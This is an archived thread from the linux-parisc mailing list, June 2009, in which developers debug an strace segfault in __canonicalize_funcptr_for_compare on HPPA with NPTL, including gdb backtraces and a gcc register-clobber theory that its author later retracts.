References: <20090620232927.GA21560@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245542806 30284 80.91.229.12 (21 Jun 2009 00:06:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 00:06:46 +0000 (UTC)
Cc: James.Bottomley@HansenPartnership.com, grundler@parisc-linux.org,
	kyle@mcmartin.ca, deller@gmx.de, linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 02:06:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIAZy-0005Qw-Nb
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 02:06:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751382AbZFUAGe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Jun 2009 20:06:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752195AbZFUAGe
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 20 Jun 2009 20:06:34 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2876 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751382AbZFUAGd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Jun 2009 20:06:33 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 6824C4FC6; Sat, 20 Jun 2009 20:06:35 -0400 (EDT)
In-Reply-To: <20090620232927.GA21560@lackof.org> from "Grant Grundler" at Jun 20, 2009 05:29:27 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1801
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1801>

> In the meantime...if someone can explain this error I could build and test:
> fs/nfs/nfsroot.c:400: error: __setup_str_nfs_root_setup causes a section type conflict
> 
> something to do with __setup(nfs_root_setup) but it's not obvious to me what.

Google says see:
http://lkml.org/lkml/2009/5/26/329

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 02:27:17 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440906202327x7093bd81q93f3914fcf6c2c70@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245565646 984 80.91.229.12 (21 Jun 2009 06:27:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 06:27:26 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 08:27:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIGWP-0000Sl-7x
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 08:27:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752099AbZFUG1Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 02:27:16 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751656AbZFUG1Q
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 02:27:16 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:42065 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751472AbZFUG1P (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 02:27:15 -0400
Original-Received: by ewy6 with SMTP id 6so3803466ewy.37
        for <linux-parisc@vger.kernel.org>; Sat, 20 Jun 2009 23:27:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=5SRgVp1Eh8VbL/2q331dRh0Lh0CMQzIbLjfGLXSgL6U=;
        b=aTJ6VeaNGdWVKnFGBb/YGKdVQDl2ptSFARAo9NxT/aIpEINJqTs4GcJMCpL/RDFHZs
         KZ4WK78kf2AYtxlmgP3cLAqTPgpoPT2w1O9yc703mHmOsDleoODVFGRD28mwrJC9KFI6
         MyiM0+vGQi3TUZbYxSzgUV+XQMzQ8I+QpGfzA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        b=olIhhHVLnrfKmADC/6C9fjwhnAmjvW06nWgCEVDFxv4aj9UuYsXAOJ3gp24zVps8kv
         gNOpeiLLbCDXoN+Ay44qW01B54R4Y9PRAhCZmLXNcq1r7/U3MaMCjnRi5YOzIU6m3a/a
         8XKSjBd9cRoJ1yvjok1ZHSQ7+SPO+Mg188hZs=
Original-Received: by 10.216.11.138 with SMTP id 10mr1692453wex.51.1245565637006; Sat, 
	20 Jun 2009 23:27:17 -0700 (PDT)
X-Google-Sender-Auth: 978ebc38c65afd0e
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1802
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1802>

Dave,

I saw strace segfault in __canonicalize_funcptr_for_compare while
trying to trace an nptl enabled hppa application.

Program received signal SIGSEGV, Segmentation fault.
0x0002b3bc in __canonicalize_funcptr_for_compare ()
Current language:  auto; currently asm
(gdb) bt
#0  0x0002b3bc in __canonicalize_funcptr_for_compare ()
#1  0x00025fec in sys_rt_sigaction (tcp=0x4e070) at signal.c:1886
#2  0x00017aec in trace_syscall (tcp=0x4e070) at syscall.c:2549
#3  0x00016c98 in main (argc=<value optimized out>, argv=0xc032f01c)
at strace.c:2475
(gdb)

It's 100% reproducible. What should I try to debug this?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 11:20:29 -0400 (EDT)
Lines: 85
Approved: news@gmane.org
Message-ID: <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
References: <119aab440906202327x7093bd81q93f3914fcf6c2c70@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245597638 6869 80.91.229.12 (21 Jun 2009 15:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 15:20:38 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 17:20:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIOqQ-0008Pv-KM
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 17:20:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751100AbZFUPU3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 11:20:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751133AbZFUPU3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 11:20:29 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2914 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751100AbZFUPU3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 11:20:29 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 04E4B4F19; Sun, 21 Jun 2009 11:20:30 -0400 (EDT)
In-Reply-To: <119aab440906202327x7093bd81q93f3914fcf6c2c70@mail.gmail.com> from "Carlos O'Donell" at Jun 21, 2009 02:27:17 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1803
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1803>

> I saw strace segfault in __canonicalize_funcptr_for_compare while
> trying to trace an nptl enabled hppa application.
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0x0002b3bc in __canonicalize_funcptr_for_compare ()
> Current language:  auto; currently asm
> (gdb) bt
> #0  0x0002b3bc in __canonicalize_funcptr_for_compare ()
> #1  0x00025fec in sys_rt_sigaction (tcp=0x4e070) at signal.c:1886
> #2  0x00017aec in trace_syscall (tcp=0x4e070) at syscall.c:2549
> #3  0x00016c98 in main (argc=<value optimized out>, argv=0xc032f01c)
> at strace.c:2475
> (gdb)
> 
> It's 100% reproducible. What should I try to debug this?

Look at the comparison in sys_rt_sigaction.  The last time this
happened, this involved a comparison with a special value that
wasn't a function pointer.  I think you are seeing the same problem
as Kyle.

I believe that the segv can be avoided by casting the values in the
comparison:

> > > which is:
> > > 
> > >                 if (sa.__sigaction_handler.__sa_handler == SIG_ERR)
> > >                         tprintf("{SIG_ERR, ");
> > 
> > Is __canonicalize_funcptr_for_compare choking on SIG_ERR?  This is
> > a special value (-1).  The plabel bit is set.

However, this is a cope out.  __canonicalize_funcptr_for_compare
actually faults on sa.__sigaction_handler.__sa_handler.

You can put a break on __canonicalize_funcptr_for_compare and look at
what's being passed in.

Looking at my email archive, I see the real cause involves kernel memory
maps:

  > > > On Wed, May 06, 2009 at 01:39:49PM -0400, John David Anglin wrote:
  > > > > > The tombstone is:
  > > > > > 
  > > > > > do_page_fault() pid=10205 command='strace' type=15 address=0x407d2f18
  > > > > > vm_start = 0x4068d000, vm_end = 0x4068f000
  > > > > 
  > > > > So, the pointer passed to __canonicalize_funcptr_for_compare is outside
  > > > > the vm range.
  > > > > 
  > > > > Maybe "info sharedlib" will show something.  Need to find out why the
  > > > > address of the function descriptor is outside the vm range.
  > > > > 
  > > > > > > 405c0000-405c2000 rwxp 405c0000 00:00 0 
  > > 
  > > The function pointer address is also outside this range.
  > > 
  > 
  > Sorry, this was with a rebuilt binary, and it lies within this range.
  
  It's marked rwxp, so why the fault?

We never figured out why the fault actually occurred (Kyle got busy).
It seems like there is a problem with the address mapping during signals.
However, there was some rebuilds in the above and I'm not sure the
analysis is correct.  However, I'm sure the problem isn't with
__canonicalize_funcptr_for_compare.

So, the quick fix to get strace going is to rebuild casting the function
pointers to long.  However, I think you will find that it has other problems.
You might have more success with the old version that Kyle patched a
year or so ago (posted in debian people).  Randolph was working on a program
called atrace.  I tried it but didn't have much luck with it.

PS: Hows NPTL comming?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 12:18:16 -0400
Lines: 52
Approved: news@gmane.org
Message-ID: <119aab440906210918v7ff1420cvb1c45fcf518419f8@mail.gmail.com>
References: <119aab440906202327x7093bd81q93f3914fcf6c2c70@mail.gmail.com>
	 <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1245601104 16235 80.91.229.12 (21 Jun 2009 16:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 16:18:24 +0000 (UTC)
To: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 18:18:22 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIPkL-0000g8-8q
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 18:18:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751133AbZFUQSP convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 12:18:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751296AbZFUQSP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 12:18:15 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:53108 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751133AbZFUQSP convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 12:18:15 -0400
Original-Received: by ewy6 with SMTP id 6so4047534ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 21 Jun 2009 09:18:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to
         :content-type:content-transfer-encoding;
        bh=QH2seEvOiv9lZ2LMAH1DmZI66dUPzxqHGG1r8ndvJfM=;
        b=fmpljzA14+BFhw3XEyF7NTq/fd0WLxgdU2CAizmr3wNRAXav29w7OsD2KBC0UPNlwM
         5DGlr1dBp/30mOuN58kHI25uviXW/jnwlt2hOrOIYgoFj6D21gt8v899gR86NuGmpgPF
         jZd05uy2+H7qHZ7PhGtNGKqebs/SgI98CknxI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        b=JMUbzihwQ+/q3FQuZpKhdX1CQfMcuazDFNgrk2ipScUN6NhhQOGnFVfiVW6MLLgDd2
         OeP1baIFcSIB/R8GNHmMzBIvVKZIVK+/tNE85TNfv6Rc2IuG5R4j4KP82FvgXaCX1B/k
         zFjgU+b7JKxBh98cI380ogMG0xN0ML4cZRClQ=
Original-Received: by 10.216.17.213 with SMTP id j63mr1813387wej.140.1245601096267; 
	Sun, 21 Jun 2009 09:18:16 -0700 (PDT)
In-Reply-To: <20090621152031.04E4B4F19@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 0d8f0a35c24840fc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1804
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1804>

On Sun, Jun 21, 2009 at 11:20 AM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> We never figured out why the fault actually occurred (Kyle got busy).
> It seems like there is a problem with the address mapping during sign=
als.
> However, there was some rebuilds in the above and I'm not sure the
> analysis is correct. =A0However, I'm sure the problem isn't with
> __canonicalize_funcptr_for_compare.

Hoccam's razor. It's a gcc bug.

The arg0 to __c_f_f_c is being clobbered by the previous call.
Rearrangeing the if-the-else cases into a set if cases fixes the
clobbering of arg0 and fixes strace.

The move of the fptr into r26 is moved before the call to umove, then
umove clobbers r26, then __c_f_f_c is called and crashes.

> So, the quick fix to get strace going is to rebuild casting the funct=
ion
> pointers to long. =A0However, I think you will find that it has other=
 problems.
> You might have more success with the old version that Kyle patched a
> year or so ago (posted in debian people). =A0Randolph was working on =
a program
> called atrace. =A0I tried it but didn't have much luck with it.

The quick fix is to reorganize the if-then-else statement.

> PS: Hows NPTL comming?

The implementation is done. The testsing shows no regressions. The
custom compat testsuite I wrote also passes every test.

Unfortunately last night I was up late working and I managed to both
erase (be careful of bind mounts) half of my custom compat testsuite
and the chroot I was going to use for more advanced testing.

On todays schedule is to rebuild the chroot and test gnome using
vnc4server with the new libs.

At a later date I'll have to rewrite the missing pieces of the custom
compat testsuite.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 13:16:59 -0400 (EDT)
Lines: 30
Approved: news@gmane.org
Message-ID: <20090621171701.3040B4EE8@hiauly1.hia.nrc.ca>
References: <119aab440906210918v7ff1420cvb1c45fcf518419f8@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245604634 30767 80.91.229.12 (21 Jun 2009 17:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 17:17:14 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 19:17:12 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MIQfA-0002CF-N0
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 19:17:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752384AbZFURRA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 13:17:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752312AbZFURQ7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 13:16:59 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2923 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751959AbZFURQ7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 13:16:59 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3040B4EE8; Sun, 21 Jun 2009 13:17:00 -0400 (EDT)
In-Reply-To: <119aab440906210918v7ff1420cvb1c45fcf518419f8@mail.gmail.com> from "Carlos O'Donell" at Jun 21, 2009 12:18:16 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1805
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1805>

> On Sun, Jun 21, 2009 at 11:20 AM, John David
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> > We never figured out why the fault actually occurred (Kyle got busy).
> > It seems like there is a problem with the address mapping during signals.
> > However, there was some rebuilds in the above and I'm not sure the
> > analysis is correct. =A0However, I'm sure the problem isn't with
> > __canonicalize_funcptr_for_compare.
> 
> Hoccam's razor. It's a gcc bug.
> 
> The arg0 to __c_f_f_c is being clobbered by the previous call.
> Rearrangeing the if-the-else cases into a set if cases fixes the
> clobbering of arg0 and fixes strace.
> 
> The move of the fptr into r26 is moved before the call to umove, then
> umove clobbers r26, then __c_f_f_c is called and crashes.

This needs a GCC bug report.  It an important defect.  As usually,
preprocessed source is needed and compiler version.  The version of
strace in lenny/testing doesn't have any calls to __c_f_f_c.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 16:01:04 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440906211301sf3b549dtd2a29839e86d4bfe@mail.gmail.com>
References: <119aab440906210918v7ff1420cvb1c45fcf518419f8@mail.gmail.com>
	 <20090621171701.3040B4EE8@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1245614476 24563 80.91.229.12 (21 Jun 2009 20:01:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 20:01:16 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 22:01:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MITDx-0007tq-MX
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 22:01:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752039AbZFUUBE convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Jun 2009 16:01:04 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752073AbZFUUBE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 21 Jun 2009 16:01:04 -0400
Original-Received: from mail-ew0-f210.google.com ([209.85.219.210]:33867 "EHLO
	mail-ew0-f210.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752039AbZFUUBD convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Jun 2009 16:01:03 -0400
Original-Received: by ewy6 with SMTP id 6so4157740ewy.37
        for <linux-parisc@vger.kernel.org>; Sun, 21 Jun 2009 13:01:04 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=5aSKgYKfsKHhbW62shM5C5oCW+oqy2b2rQggrfQtEyY=;
        b=TE2fGpZWkvp1O6r2NN2FxtkgBQZkYmfrnV+dJmbgcnN92njb//rdETYpUDaTxOx2EG
         3im+DTK8hDMkmmki98e/S01ciFZWLkY021DBth3mmCc+Bqr4LMiObTLtMQe0IZ94yxQ0
         GrAhphBnsPB8yg/LHmhVZQuTCSXWAtZzT9KxM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=COPjhb/nqTFRytOudVp+hPcoTsf5IRMJruxktBrAkA5la9yJLG0oOZHp1vYpayBs82
         zwXXs1Rnf7DDaKzfo3RyVk668X6ZCQTk/b1TNabk1maVthvaUelF74mQzAV+dAvC/x2b
         fJsuHeZgK6R1DoDaOdV+P2AB5X9kANW15FBSE=
Original-Received: by 10.216.17.213 with SMTP id j63mr1869654wej.140.1245614464200; 
	Sun, 21 Jun 2009 13:01:04 -0700 (PDT)
In-Reply-To: <20090621171701.3040B4EE8@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 3e01024311d99fdd
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1806
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1806>

On Sun, Jun 21, 2009 at 1:16 PM, John David
Anglin<dave@hiauly1.hia.nrc.ca> wrote:
>> The move of the fptr into r26 is moved before the call to umove, the=
n
>> umove clobbers r26, then __c_f_f_c is called and crashes.
>
> This needs a GCC bug report. =A0It an important defect. =A0As usually=
,
> preprocessed source is needed and compiler version. =A0The version of
> strace in lenny/testing doesn't have any calls to __c_f_f_c.

Sorry, this turns out not to be correct, after tracing the assembly
completely (including loads in delayed branches) it looks like the
location read from the pid through ptrace might be wrong. I'll have to
keep debugging this.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Segfault in __c_f_f_c during strace of nptl application.
Date: Sun, 21 Jun 2009 16:21:28 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20090621202129.69B214F19@hiauly1.hia.nrc.ca>
References: <119aab440906211301sf3b549dtd2a29839e86d4bfe@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1245615704 27919 80.91.229.12 (21 Jun 2009 20:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Jun 2009 20:21:44 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jun 21 22:21:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MITXh-00076R-3J
	for glpp-linux-parisc@gmane.org; Sun, 21 Jun 2009 22:21:33 +0200
